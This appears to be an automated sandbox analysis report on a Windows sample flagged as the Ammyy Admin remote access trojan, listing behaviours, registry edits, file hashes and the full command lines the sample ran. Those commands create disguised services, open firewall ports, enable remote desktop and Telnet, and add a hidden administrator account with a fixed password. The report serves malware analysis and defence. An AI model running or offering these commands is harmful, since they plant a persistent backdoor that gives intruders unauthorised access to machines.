memory/2368-14-0x0000000000400000-0x0000000000423000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\termserv.exe

MD5 382cebd78ad354b1dfd91dc8176615f6
SHA1 5c734f779cf23cee4d7260a0eee3ce1ed888f1c0
SHA256 067f0765790c0e75c3774f4c5890ddacb8b99ecd6f80743d68aad9d34de8b445
SHA512 650a3be640baac30d3c36185048c6f4e5b2536cf0086b49386ea7149c7148cc1ce4f12c7832ddb2520677d67f15214b0c8e41c0eed5938b0283b1374f6bdd197

memory/2368-27-0x0000000000400000-0x0000000000423000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-09-16 00:00

Reported

2024-09-16 00:02

Platform

win10v2004-20240802-en

Max time kernel

96s

Max time network

97s

Command Line

"C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe"

Signatures

Ammyy Admin

rat ammyyadmin

AmmyyAdmin payload

Description Indicator Process Target
N/A N/A N/A N/A

Grants admin privileges

Creates new service(s)

persistence execution

Modifies Windows Firewall

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A

Sets service image path in registry

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\PlugAndPlay\ImagePath = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\svchost.exe -service -debug" C:\Windows\SysWOW64\REG.exe N/A

Stops running service(s)

evasion execution

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\termserv.exe N/A

Password Policy Discovery

discovery

Hide Artifacts: Hidden Users

defense_evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\Microsoft = "0" C:\Windows\SysWOW64\REG.exe N/A

Event Triggered Execution: Netsh Helper DLL

persistence privilege_escalation
Description Indicator Process Target
Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A

Permission Groups Discovery: Local Groups

discovery

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\taskkill.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\ctfmon.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\REG.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\termserv.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\REG.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\REG.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\REG.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\REG.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\REG.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net.exe N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Runs net.exe

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1812 wrote to memory of 2056 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 1812 wrote to memory of 2056 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 1812 wrote to memory of 2056 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 1812 wrote to memory of 1960 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 1812 wrote to memory of 1960 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 1812 wrote to memory of 1960 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 1812 wrote to memory of 4728 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 1812 wrote to memory of 4728 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 1812 wrote to memory of 4728 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 1812 wrote to memory of 1504 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 1812 wrote to memory of 1504 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 1812 wrote to memory of 1504 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 1812 wrote to memory of 4372 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\taskkill.exe
PID 1812 wrote to memory of 4372 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\taskkill.exe
PID 1812 wrote to memory of 4372 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\taskkill.exe
PID 1812 wrote to memory of 1200 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\cmd.exe
PID 1812 wrote to memory of 1200 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\cmd.exe
PID 1812 wrote to memory of 1200 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\cmd.exe
PID 1812 wrote to memory of 1440 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 1812 wrote to memory of 1440 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 1812 wrote to memory of 1440 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 1200 wrote to memory of 4428 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\ctfmon.exe
PID 1200 wrote to memory of 4428 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\ctfmon.exe
PID 1200 wrote to memory of 4428 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\ctfmon.exe
PID 1812 wrote to memory of 5084 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 1812 wrote to memory of 5084 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 1812 wrote to memory of 5084 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 1812 wrote to memory of 3772 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 1812 wrote to memory of 3772 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 1812 wrote to memory of 3772 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 1812 wrote to memory of 4828 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 1812 wrote to memory of 4828 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 1812 wrote to memory of 4828 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 1812 wrote to memory of 540 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 1812 wrote to memory of 540 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 1812 wrote to memory of 540 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 1812 wrote to memory of 2676 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 1812 wrote to memory of 2676 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 1812 wrote to memory of 2676 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 1812 wrote to memory of 1488 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 1812 wrote to memory of 1488 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 1812 wrote to memory of 1488 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 1812 wrote to memory of 1684 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 1812 wrote to memory of 1684 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 1812 wrote to memory of 1684 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 1812 wrote to memory of 2488 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 1812 wrote to memory of 2488 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 1812 wrote to memory of 2488 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 1812 wrote to memory of 4768 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 1812 wrote to memory of 4768 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 1812 wrote to memory of 4768 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 1812 wrote to memory of 2740 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 1812 wrote to memory of 2740 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 1812 wrote to memory of 2740 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 1812 wrote to memory of 4452 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 1812 wrote to memory of 4452 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 1812 wrote to memory of 4452 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 1812 wrote to memory of 4716 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 1812 wrote to memory of 4716 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 1812 wrote to memory of 4716 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 1812 wrote to memory of 4316 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\termserv.exe
PID 1812 wrote to memory of 4316 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\termserv.exe
PID 1812 wrote to memory of 4316 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\termserv.exe
PID 1812 wrote to memory of 3240 N/A C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe

Processes

C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe"

C:\Windows\SysWOW64\sc.exe

sc stop "ProtocolWindows_ "

C:\Windows\SysWOW64\sc.exe

sc delete "ProtocolWindows_ "

C:\Windows\SysWOW64\sc.exe

sc stop "PlugAndPlay"

C:\Windows\SysWOW64\sc.exe

sc delete "PlugAndPlay"

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im ctfmon.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe /c ctfmon.exe

C:\Windows\SysWOW64\sc.exe

sc create "ProtocolWindows_ " binpath= "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\lsass.exe" displayname= "Protocol HTTP/SSL " type= own start= auto error= ignore

C:\Windows\SysWOW64\ctfmon.exe

ctfmon.exe

C:\Windows\SysWOW64\sc.exe

sc description "ProtocolWindows_ " "Ýòà ñëóæáa îáåñïå÷èâàåò áåçîïañíûé ïðîòîêîë ïåðåäà÷è äàííûõ ãèïåðòåêñòà (HTTPS) äëÿ ñëóæáû HTTP. Åñëè ýòà ñëóæáà îòêëþ÷åía, ëþáûå ñëóæáû, êîòîðûå ÿâíî çaâèñÿò îò íåå, íå ìîãóò áûòü çàïóùåíû. "

C:\Windows\SysWOW64\netsh.exe

netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\lsass.exe" ENABLE

C:\Windows\SysWOW64\sc.exe

sc create "PlugAndPlay" displayname= "PlugAndPlay " binpath= "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\svchost.exe -service -debug" type= own start= auto error= ignore

C:\Windows\SysWOW64\REG.exe

REG ADD "HKLM\SYSTEM\CurrentControlSet\services\PlugAndPlay" /v ImagePath /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\svchost.exe -service -debug" /f

C:\Windows\SysWOW64\REG.exe

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_REGDWORD /d 3389 /f

C:\Windows\SysWOW64\REG.exe

REG ADD "HKCU\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LOCALMACHINE_LOCKDOWN" /v iexplore.exe /t REG_REGDWORD /d 0 /f

C:\Windows\SysWOW64\netsh.exe

netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\svchost.exe" ENABLE

C:\Windows\SysWOW64\netsh.exe

netsh firewall add allowedprogram ctfmon.exe ENABLE

C:\Windows\SysWOW64\netsh.exe

netsh firewall add portopening protocol = TCP port = 3389 name = TCP

C:\Windows\SysWOW64\netsh.exe

netsh firewall add portopening protocol = TCP port = 31337 name = TCP

C:\Windows\SysWOW64\netsh.exe

netsh firewall add portopening protocol = TCP port = 80 name = TCP

C:\Windows\SysWOW64\netsh.exe

netsh firewall add portopening protocol = TCP port = 8080 name = TCP

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\termserv.exe

"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\termserv.exe" -silent

C:\Windows\SysWOW64\sc.exe

sc start mnmsrvc

C:\Windows\SysWOW64\sc.exe

sc Start TlntSvr

C:\Windows\SysWOW64\sc.exe

sc Start TermService

C:\Windows\SysWOW64\net.exe

net start FastUserSwitchingCompatibility

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 start FastUserSwitchingCompatibility

C:\Windows\SysWOW64\net.exe

net start TermService

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 start TermService

C:\Windows\SysWOW64\REG.exe

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

C:\Windows\SysWOW64\REG.exe

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

C:\Windows\SysWOW64\net.exe

net user Microsoft skj2g43 /add /EXPIRES:NEVER /active:yes

C:\Windows\SysWOW64\net.exe

net localgroup Microsoft /add

C:\Windows\SysWOW64\net.exe

net localgroup Àäìèíèñòðàòîðû Microsoft /add

C:\Windows\SysWOW64\net.exe

net localgroup Administrators Microsoft /add

C:\Windows\SysWOW64\net.exe

net accounts /maxpwage:unlimited

C:\Windows\SysWOW64\REG.exe

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v Microsoft /t REG_DWORD /d 0 /f

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 localgroup Microsoft /add

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 localgroup Administrators Microsoft /add

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 user Microsoft skj2g43 /add /EXPIRES:NEVER /active:yes

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 accounts /maxpwage:unlimited

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 localgroup Àäìèíèñòðàòîðû Microsoft /add

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 64.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp

Files

memory/1812-0-0x0000000000400000-0x0000000000423000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\lsass.exe

MD5 e0b8d7ad878eff7bdfba66d17665eb58
SHA1 ec4ab8ed9ca2ad06749851a76451108b4c608eba
SHA256 779a40fca7a3680a1dcbf08e53be5a63ce41564d452c3053f03e487c8de39952
SHA512 17e457940e4117cc7bd59e6743bf2877495201a3e277ef3133b6370f1148f54a85acc91ab6747b97c1f3beacc49a2fda01bdb89e3d7c6ff6ac76c801e15be650

